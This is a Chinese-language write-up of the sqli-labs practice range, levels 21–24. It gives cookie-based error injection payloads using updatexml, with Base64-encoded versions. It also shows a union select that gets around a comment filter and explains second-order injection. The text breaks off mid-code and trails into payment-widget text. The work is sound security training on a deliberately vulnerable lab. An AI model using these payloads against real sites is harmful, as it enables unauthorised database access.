sqli-labs靶场实录(二): Advanced Injections

Less21

先登录看看
在这可以看到这一关和第20关几乎一样在这里插入图片描述

都是在页面回显了Cookie
故还是HTTP头注入
仔细观察可以发现
这里面CookieUname参数不再是admin在这里插入图片描述

但是这个形式很像Base64编码的格式
猜测网站对uname参数进行了Base64编码
我们通过编码工具尝试破译
确实基于Base64解码得到了原本的值admin
在这里插入图片描述

因此
Cookie测试注入时我们需要将payload使用Base64编码一下
Payload如下
构造:')and updatexml(1,concat(1,database()),1)#
编码后得到

JylhbmQgdXBkYXRleG1sKDEsY29uY2F0KDEsZGF0YWJhc2UoKSksMSkj

使用这串payload抓包改包测试一下
成功爆出库名
在这里插入图片描述

Less22

本关和上一关略有不同
上一关使用的Payload需要闭合的是单引号
这一关则需要闭合双引号
其他的Base64编码测试思路不变
构造" and updatexml(1,concat(1,database()),1)#
编码payload

IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDEsZGF0YWJhc2UoKSksMSkj

抓包改包注入爆库
在这里插入图片描述

Less23

这一关又回到原始的URL传参了
在这里插入图片描述
故我们使用之前的测试手法

探测注入点

构造?id='测试
数据库报错
说明存在注入
在这里插入图片描述
尝试闭合
构造?id='--+
发现闭合不了在这里插入图片描述
查看一下源码

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

留意到网站对注释符号--#进行了过滤
故我们要使用' or '1'='1手动的闭合原查询语句后的单引号
原查询语句为

SELECT * FROM users WHERE id='$input' LIMIT 0,1;

构造1' or '1'='1
查询语句为

SELECT * FROM users WHERE id='1' or '1'='1' LIMIT 0,1;

基于此我们构造id=-1' union select 1,database(),3 or '1' = '1
成功注入爆库
在这里插入图片描述

Less24

二次注入原理

  • 用户输入被存储到数据库(如注册、留言等),后续操作(如修改密码)中从数据库读取该数据并拼接成SQL语句,导致注入。

  • 例如:注册时插入恶意用户名payload,修改密码时触发对应用户名的SQL逻辑。

这一关我们看到多出了许多功能点
有忘记密码,新用户注册,用户登录
在这里插入图片描述
而我们登录一个正常账户进去后发现还有个修改密码的功能
在这里插入图片描述
因为修改密码
用户注册等功能均涉及sql数据库的更新
故先猜测这里能不能利用注册用户名这个功能点去二次注入修改他人的密码
先注册一个正常的用户看看
此时账户密码为:test01/123
查看源码可知
后端修改密码时涉及的sql语句如下:

   $sql = 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值